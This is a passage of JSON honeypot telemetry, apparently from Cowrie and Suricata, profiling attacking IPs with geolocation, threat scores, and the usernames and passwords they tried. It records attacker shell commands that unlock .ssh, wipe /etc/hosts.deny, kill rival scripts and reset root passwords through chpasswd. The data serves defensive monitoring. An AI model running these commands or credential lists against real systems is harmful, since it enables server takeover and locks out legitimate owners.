      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T16:22:50.318000+00:00",
        "last_seen_30d": "2026-05-08T16:24:05.308000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "41.248.99.217": {
      "attack_count": 2,
      "first_seen": "2026-05-03T17:41:19.417Z",
      "last_seen": "2026-05-03T17:43:19.418Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Morocco",
      "country_code": "MA",
      "city": "Oujda",
      "asn": 36903,
      "as_org": "MT-MPLS",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T17:41:19.417000+00:00",
        "last_seen_30d": "2026-05-03T17:53:58.936000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "49.43.163.175": {
      "attack_count": 2,
      "first_seen": "2026-05-12T22:05:39.256Z",
      "last_seen": "2026-05-12T22:05:52.193Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Dehradun",
      "asn": 55836,
      "as_org": "Reliance Jio Infocomm Limited",
      "threat_score": 6.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T22:05:39.256000+00:00",
        "last_seen_30d": "2026-05-12T22:06:55.869000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "86.246.231.52": {
      "attack_count": 2,
      "first_seen": "2026-05-20T09:15:57.233Z",
      "last_seen": "2026-05-20T09:17:57.235Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Paris",
      "asn": 3215,
      "as_org": "Orange",
      "threat_score": 23.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.0,
        "persistence": 15.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 19,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T08:48:13.581000+00:00",
        "last_seen_30d": "2026-05-20T09:28:33.805000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Suricata": 6,
        "Cowrie": 2
      }
    },
    "5.182.208.153": {
      "attack_count": 2682,
      "first_seen": "2026-05-27T01:44:24.354Z",
      "last_seen": "2026-05-28T00:54:07.879Z",
      "sessions": 1340,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 62068,
      "as_org": "SpectraIP B.V.",
      "threat_score": 39.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 4367,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-27T01:44:24.354000+00:00",
        "last_seen_30d": "2026-05-28T00:55:10.291000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2682,
        "Suricata": 1685
      }
    },
    "185.151.31.162": {
      "attack_count": 992,
      "first_seen": "2026-05-02T08:33:00.193Z",
      "last_seen": "2026-05-02T08:42:13.337Z",
      "sessions": 496,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "London",
      "asn": 48254,
      "as_org": "20i Limited",
      "threat_score": 4.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 1493,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T08:33:00.193000+00:00",
        "last_seen_30d": "2026-05-02T08:43:22.871000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 992,
        "Suricata": 501
      }
    },
    "144.126.156.232": {
      "attack_count": 626,
      "first_seen": "2026-05-03T17:40:19.724Z",
      "last_seen": "2026-05-03T17:47:25.148Z",
      "sessions": 313,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "St Louis",
      "asn": 40021,
      "as_org": "Contabo Inc.",
      "threat_score": 4.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 29.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 940,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T17:40:19.724000+00:00",
        "last_seen_30d": "2026-05-03T17:48:33.461000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 626,
        "Suricata": 314
      }
    },
    "157.245.107.154": {
      "attack_count": 492,
      "first_seen": "2026-05-02T03:33:30.113Z",
      "last_seen": "2026-05-02T04:18:17.736Z",
      "sessions": 246,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bengaluru",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 4.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 28.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 740,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T03:33:30.113000+00:00",
        "last_seen_30d": "2026-05-02T04:29:21.615000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 492,
        "Suricata": 248
      }
    },
    "186.96.151.198": {
      "attack_count": 449,
      "first_seen": "2026-05-17T21:51:21.541Z",
      "last_seen": "2026-05-30T00:07:16.109Z",
      "sessions": 43,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "frontend",
        "deploy",
        "devuser",
        "ethan",
        "pedro",
        "pt",
        "rdpuser",
        "ts3",
        "ubuntu"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "!@#123456",
        "123.qwe",
        "123456",
        "123456Rh",
        "1234Qwert",
        "2014",
        "Aa123456@",
        "Abc123!@#",
        "Huawei12",
        "Mf123456.",
        "Palworld",
        "Test2018",
        "_",
        "admin-1234",
        "admin01",
        "adminadmin",
        "airwolf"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"123\\nWQz1LGCOHjJp\\nWQz1LGCOHjJp\\n\"|passwd",
        "echo \"admin01\\ndP37eidDPeHC\\ndP37eidDPeHC\\n\"|passwd",
        "echo \"root:IwsvgP753QVk\"|chpasswd|bash",
        "echo \"root:a4b8UWwEEQi2\"|chpasswd|bash",
        "echo -e \"123\\nWQz1LGCOHjJp\\nWQz1LGCOHjJp\"|passwd|bash",
        "echo -e \"admin01\\ndP37eidDPeHC\\ndP37eidDPeHC\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Mexico City",
      "asn": 22884,
      "as_org": "TOTAL PLAY TELECOMUNICACIONES, S.A.P.I. DE C.V.",
      "threat_score": 49.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 27.4,
        "persistence": 11.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 546,
        "days_active_30d": 14,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T21:51:21.541000+00:00",
        "last_seen_30d": "2026-05-30T00:08:16.745000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 449,
        "Suricata": 97
      }
    },
    "103.211.218.124": {
      "attack_count": 304,
      "first_seen": "2026-05-17T20:13:38.989Z",
      "last_seen": "2026-05-17T20:43:46.527Z",
      "sessions": 26,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123@123",
        "1910",
        "QWERTY123",
        "Welcome@2024",
        "admiN123",
        "centos123456",
        "dagobert",
        "letmein",
        "luyouqi",
        "maverick",
        "msi",
        "node123456",
        "pa$$word01",
        "password1111",
        "qwe",
        "rauls",
        "student",
        "thoughtpolice"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:4Ikde8o975T8\"|chpasswd|bash",
        "echo \"root:XY2DLVbVDgjG\"|chpasswd|bash",
        "echo \"root:xOUY5lAcxynQ\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Seychelles",
      "country_code": "SC",
      "city": null,
      "asn": 394695,
      "as_org": "PDR",
      "threat_score": 20.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 362,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T20:13:38.989000+00:00",
        "last_seen_30d": "2026-05-17T20:44:54.294000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 304,
        "Suricata": 58
      }
    },
    "43.134.82.122": {
      "attack_count": 294,
      "first_seen": "2026-05-16T13:27:21.269Z",
      "last_seen": "2026-05-16T13:55:23.927Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admini",
        "ansadmin",
        "bot",
        "dmdba",
        "hadi",
        "hl",
        "test1",
        "trader",
        "ubuntu",
        "www",
        "zl"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "0123456789",
        "0708228AsBs!",
        "123",
        "1234!qwer",
        "123456",
        "123456aA@",
        "123@qweASD",
        "20192019",
        "Kk123456@",
        "Server@2026",
        "admini",
        "ansadmin",
        "dmdba2025",
        "hl",
        "test123456",
        "warnightkardesim",
        "www",
        "zl"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:MbS9ccUzcECt\"|chpasswd|bash",
        "echo \"root:TjxQh4HS6ZzH\"|chpasswd|bash",
        "echo \"root:zZscJdMyUdpN\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 19.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 347,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T13:27:21.269000+00:00",
        "last_seen_30d": "2026-05-16T13:56:27.047000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 294,
        "Suricata": 53
      }
    },
    "103.13.206.100": {
      "attack_count": 219,
      "first_seen": "2026-05-05T06:17:50.329Z",
      "last_seen": "2026-05-05T07:26:10.898Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "admin",
        "guest",
        "test",
        "345gs5662d34",
        "dev",
        "ftp-user",
        "postfixtester",
        "root",
        "sarah",
        "server",
        "testing",
        "testuser",
        "user",
        "userftp",
        "userlogin"
      ],
      "passwords_attempted": [
        "!23qweasdzxc",
        "1",
        "11223344",
        "1234554321",
        "123456",
        "123456789",
        "1234qwer!",
        "123qweASD",
        "321ewq",
        "3245gs5662d34",
        "345gs5662d34",
        "999999999",
        "Aa11111111",
        "Huawei12#$",
        "QAWSEDRF",
        "a1b2c3d4e5",
        "abcd1234",
        "admin",
        "admin123!!!",
        "darkness"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"123qweASD\\nj9QbF4vHWO9h\\nj9QbF4vHWO9h\\n\"|passwd",
        "echo -e \"123qweASD\\nj9QbF4vHWO9h\\nj9QbF4vHWO9h\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 138608,
      "as_org": "Cloud Host Pte Ltd",
      "threat_score": 5.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 292,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T06:17:50.329000+00:00",
        "last_seen_30d": "2026-05-05T07:27:11.530000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 219,
        "Suricata": 73
      }
    },
    "42.100.60.37": {
      "attack_count": 218,
      "first_seen": "2026-05-22T20:45:36.973Z",
      "last_seen": "2026-05-23T07:39:28.851Z",
      "sessions": 110,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 28.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.3,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 335,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T20:45:36.973000+00:00",
        "last_seen_30d": "2026-05-23T07:40:33.141000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 218,
        "Suricata": 117
      }
    },
    "136.175.83.94": {
      "attack_count": 213,
      "first_seen": "2026-05-24T03:48:28.863Z",
      "last_seen": "2026-05-24T04:37:04.661Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ftpuser",
        "345gs5662d34",
        "username",
        "xxx",
        "david",
        "nessus",
        "rocketmq",
        "test4",
        "znc"
      ],
      "passwords_attempted": [
        "12345",
        "3245gs5662d34",
        "345gs5662d34",
        "123456Aa",
        "Admin-123",
        "Default123",
        "Ftpuser123!",
        "Pwd@Linux",
        "RootRoot",
        "a",
        "nessus",
        "rocketmq",
        "test4",
        "username@123",
        "xxx",
        "znc"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"Ftpuser123!\\nsW1lfauNraHp\\nsW1lfauNraHp\\n\"|passwd",
        "echo \"xxx\\np04EthqFhd2w\\np04EthqFhd2w\\n\"|passwd",
        "echo -e \"Ftpuser123!\\nsW1lfauNraHp\\nsW1lfauNraHp\"|passwd|bash",
        "echo -e \"xxx\\np04EthqFhd2w\\np04EthqFhd2w\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 209604,
      "as_org": "2e Telekomunikasyon Ltd Sti",
      "threat_score": 28.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 259,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T03:48:28.863000+00:00",
        "last_seen_30d": "2026-05-24T04:38:06.403000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 213,
        "Suricata": 46
      }
    },
    "38.207.136.238": {
      "attack_count": 194,
      "first_seen": "2026-05-21T18:21:42.867Z",
      "last_seen": "2026-05-21T22:54:51.824Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "master",
        "345gs5662d34",
        "debian",
        "jacob",
        "log",
        "luis",
        "minecraft",
        "ociistst",
        "rtest",
        "user",
        "usuario2"
      ],
      "passwords_attempted": [
        "123456",
        "!Qaz2wsx3edc",
        "1qaz@WSX123",
        "1qazxsw2",
        "246813579",
        "3245gs5662d34",
        "345gs5662d34",
        "Aa123456!@#",
        "As123456789",
        "Qazxsw123!",
        "Qwer1234@",
        "Test123@",
        "Ym123456",
        "admin123",
        "amir",
        "changeme",
        "debian",
        "log@123",
        "nsfocus",
        "ociistst"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"admin123\\nDSa8rsJ8U5T3\\nDSa8rsJ8U5T3\\n\"|passwd",
        "echo -e \"admin123\\nDSa8rsJ8U5T3\\nDSa8rsJ8U5T3\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": null,
      "asn": 51847,
      "as_org": "Nearoute Limited",
      "threat_score": 24.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 261,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T18:21:42.867000+00:00",
        "last_seen_30d": "2026-05-21T22:55:55.122000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 194,
        "Suricata": 67
      }
    },
    "43.153.56.205": {
      "attack_count": 178,
      "first_seen": "2026-05-16T15:33:36.004Z",
      "last_seen": "2026-05-16T16:03:48.241Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "!@#$5678",
        "1230",
        "20192019",
        "3245gs5662d34",
        "345gs5662d34",
        "Admin2018",
        "FZAc8jnw.XdKgFZAc8jnw.XdKg",
        "QAZwsxedcrfv",
        "adm1n",
        "adminpass123",
        "bbs123",
        "cloud",
        "emporium",
        "latitude",
        "london",
        "nagios@123",
        "qazxsw123",
        "robin",
        "root!1",
        "sun2day"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:9Kt08ivM7ic1\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 18.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 232,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T15:33:36.004000+00:00",
        "last_seen_30d": "2026-05-16T16:04:54.675000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 178,
        "Suricata": 54
      }
    },
    "43.159.62.94": {
      "attack_count": 168,
      "first_seen": "2026-05-18T10:59:45.467Z",
      "last_seen": "2026-05-18T11:28:51.452Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "deploy",
        "es",
        "esunny",
        "ftpuser",
        "odoo12",
        "pivpn",
        "sdc",
        "tim",
        "tomcatuser",
        "vboxuser",
        "vpnuser1"
      ],
      "passwords_attempted": [
        "111111",
        "1234",
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "Apple@123",
        "Hy@123456",
        "Master123",
        "Qwert12345",
        "aaaaaaaa",
        "changeme",
        "elastic",
        "odoo12",
        "p@sSw0rd",
        "pivpn123",
        "qwe123...",
        "redhat123",
        "root001!",
        "sdc",
        "test123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:iauvvcUPt1q3\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
